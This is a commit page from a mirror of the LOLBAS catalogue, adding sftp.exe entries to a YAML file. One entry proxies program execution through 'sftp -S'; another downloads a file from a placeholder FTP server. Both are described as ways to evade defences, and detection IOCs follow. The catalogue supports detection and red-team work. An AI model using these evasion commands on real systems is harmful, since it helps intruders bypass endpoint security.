public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-02-26 20:13:42 +01:00
Code Issues Projects Releases Wiki Activity

Update sftp.yml

Browse Source 
* Added another way of using sftp for execution
* Added Download functionality
This commit is contained in:
C-h4ck-0 2022-11-14 13:45:59 +07:00 committed by GitHub
parent f3329c0d94
commit e803bc7635
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 15 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
yml/OSBinaries/sftp.yml
View File

@ -11,10 +11,25 @@ Commands:
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 11
- Command: "sftp -S c:\\windows\\system32\\notepad.exe localhost"
Description: Execute notepad.exe with sftp.exe as parent process
Usecase: Use sftp.exe as a proxy binary to evade defensive counter-measures
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 11
- Command: "sftp <ftp_user>@<ftp_Server_ip>:<path_of_file_to_download> <path_to_save_file>"
Description: Download file with sftp.exe from an FTP server
Usecase: Use sftp.exe as a proxy binary to evade defensive counter-measures. If needed, you will be asked to submit a password for the sFTP session.
Category: Download
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\windows\system32\OpenSSH\sftp.exe
Detection:
- IOC: sftp.exe spawning unexpected processes
- IOC: Suspicious sFTP internet/network traffic
Acknowledgement:
- Person: 'Nir Chako (Pentera)'
Handle: '@C_h4ck_0'